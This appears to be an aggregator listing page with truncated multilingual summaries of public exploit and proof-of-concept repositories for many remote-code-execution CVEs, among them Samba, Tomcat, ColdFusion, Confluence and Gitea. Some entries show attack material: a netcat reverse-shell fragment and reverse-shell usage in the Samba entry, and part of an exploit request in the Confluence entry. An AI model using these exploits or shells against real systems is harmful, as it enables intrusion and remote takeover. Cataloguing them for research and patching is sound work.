CVE-2026-14669

CVE-2026-14669 - PostgreSQL tochar 시간대 약어 힙 버퍼 오버플로 PostgreSQL tochar 함수는 시간대 형식화를 처리할 때 힙 버퍼 오버플로 취약점이 존재합니다. 공격자는 과도하게 긴 POSIX 시간대 약어를 설정하여 25바이트 고정 버퍼의 경계를 벗어난 쓰기를 트리거할 수 있으며, 정보 유출 및 ROP 체인과 결합하여 원격 코드 실행을 달성할 수 있습니다. 취약점 정보 CVE 번호 : CVE-2026-14669 CVSS 점수 : 8.8 높음 취약점 유형 : 힙 버퍼 오버플로 → 원격 코드 ...

CVE-2021-1675-PrintNightmare-Analysis

취약점 연구: Windows Print Spooler를 통한 로컬 권한 상승 및 RCE PrintNightmare / CVE-2021-1675 이 저장소는 Windows 인쇄 스풀러Print Spooler 서비스의 치명적인 취약점으로, 낮은 권한의 도메인 사용자가 최고 시스템 권한으로 원격 코드를 실행할 수 있게 하는 개념 증명Proof of Concept 악용에 대한 상세한 기술 보고서Write-up와 분석을 포함합니다. 🛑 WARNING & DISCLAIMER: 본 자료는 교육 목적 및 합법적인 보안 감사Pentest 수행...

WSUSResponder

🧰 WSUSResponder 버전 : 1.0.1 저자 : RZA / IT Operations 라이선스 :MIT 🎯 목적 WSUSResponder 모듈은 Windows Server Update Services WSUS 에 영향을 미치는 원격 코드 실행RCE 취약점인 CVE-2025-59287 에 신속하게 대응하기 위한 PowerShell 도구 모음을 제공합니다. 다음 작업을 수행할 수 있습니다: 🔍 Active Directory 환경 또는 대상 서버 목록 스캔 🧩 취약한 WSUS 서버 식별 🛡️ Microsoft가 게시한...

CVE-2025-62593-PoC

CVE-2025-62593 — Ray 원격 코드 실행 인증 없음 CVE-2025-62593 에 대한 개념 증명PoC으로, Ray 분산 AI 컴퓨팅 엔진에서 브라우저 기반 DNS 리바인딩 공격을 통해 악용되는 인증 없는 원격 코드 실행 취약점입니다. 이 취약점은 CISA 알려진 악용 취약점KEV 카탈로그 에 추가되었으며 활발히 악용되고 있습니다. 근본 원인은 Ray 팀이 /api/jobs 및 /api/jobagent/jobs와 같은 중요한 HTTP 엔드포인트에서 인증을 수행하지 않기 로 한 오랜 설계 결정입니다. 그 결과, 인증...

CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-원격-액세스-VPN CVE-2024-24919 은 인증되지 않은 임의 파일 읽기 취약점으로, 완전한 인증되지 않은 RCE와 다름없는 취약점입니다. 공격자는 슈퍼유저 액세스 권한으로 영향을 받는 어플라이언스에 있는 모든 민감한 파일을 읽을 수 있습니다. 공격자는 ntds.dit 또는 /etc/password 파일의 내용을 검색하여 시스템 로그인에 사용할 수 있으며, Security Gateway가 비밀번호 전용 인증을 허용하는 경우 공격자는 크랙된 비밀번호를 사용하여 인증할 수...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP는 독점적인 다중 프로토콜, 다중 플랫폼 파일 전송 서버입니다. CVE-2024-4040 - 모든 플랫폼의 CrushFTP 10.7.1 및 11.1.0 이전 모든 버전에서 발생하는 서버 측 템플릿 삽입Server Side Template Injection 취약점으로, 인증되지 않은 원격 공격자가 VFS 샌드박스 외부의 파일 시스템에서 임의의 파일을 읽고, 인증을 우회하여 관리자 액세스 권한을 획득하며, 서버에서 원격 코드 실행을 수행할 수 있습니다. 영향을 받...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz 는 오픈소스 전사적 자원 관리ERP 시스템입니다. 기업의 많은 비즈니스 프로세스를 통합하고 자동화하는 엔터프라이즈 애플리케이션 제품군을 제공합니다. CVE-2024-38856 은 Apache OFBiz의 사전 인증pre-authentication 취약점으로, 원격 코드 실행RCE으로 이어질 수 있습니다. 영향받는 버전 : 18.12.15 이전 버전 사용 예시: python3 scanner.py https://localhost:8443/ python3...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow 는 기업 운영을 위한 디지털 워크플로우를 관리할 수 있도록 도와주는 비즈니스 혁신 플랫폼입니다. CVE-2024-4879 는 인증되지 않은 사용자가 Now Platform 내에서 원격으로 코드를 실행할 수 있게 할 수 있습니다. 이 취약점은 Title Injection, Template Injection Mitigation Bypass 및 Filesystem Filter Bypass라는 세 가지 문제를 연결체이닝하여 ServiceNow 데이터에 접근합니다. 영향을...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUT方法任意文件写入（CVE-2017-12615）图形化漏洞利用工具 漏洞介绍 2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞（CVE-2017-12615） 影响： Apache Tomcat 7.0.0 - 7.0.79（7.0.81修复不完全） 当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为...

CVE-2017-9791

CVE-2017-9791 Модуль Metasploit для эксплуатации уязвимости удаленного выполнения кода CVE-2017-9791 в Apache Struts...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE 이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Описание проекта и принцип действия Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий среду PHP по умолчанию XAMPP. Первый в мире эксплойт CVE-2024-4577 PHP-CGI RCE, использующий стандартную среду PHP. Предоставляется оригинальный эксплойт, поддерживается SSRF,...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Установка root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Использование Данный инструмент написан как PoC в соответствии со спецификацией разработки фреймворка pocsuite3. Перед использованием загрузите pocsuite3. Адрес проекта root@kitploi...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 Удаленное выполнение кода...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Информация Этот репозиторий содержит два PoC для Connect Box CH7465LG, работающего на прошивке CH7465LG-NCIP-6.12.18.24-5p8-NOSH или более ранней. Более подробную информацию можно найти в моём блоге. Использование Неаутентифицированное удалённое выполнение кода...

CVE-2025-24813

Описание Данный репозиторий представляет собой среду для воспроизведения последней RCE-уязвимости CVE-2025-24813 в Tomcat. Только для обучения и исследований! Условия эксплуатации В приложении включена функция записи DefaultServlet, которая по умолчанию отключена Приложение поддерживает частичные...

CVE-2019-3396

CVE-2019-3396 Обход пути в Confluence Widget Connector CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 Эксплойт удалённого выполнения команд при миграции репозитория Gitea. Как использовать 1. Запустите HTTP-сервер для раздачи файлов из этого репозитория. 2. Отредактируйте команду, которая будет выполнена, в api/v1/repos/e99/exp/pulls/1/index.html L96. 3. Мигрируйте удалённый...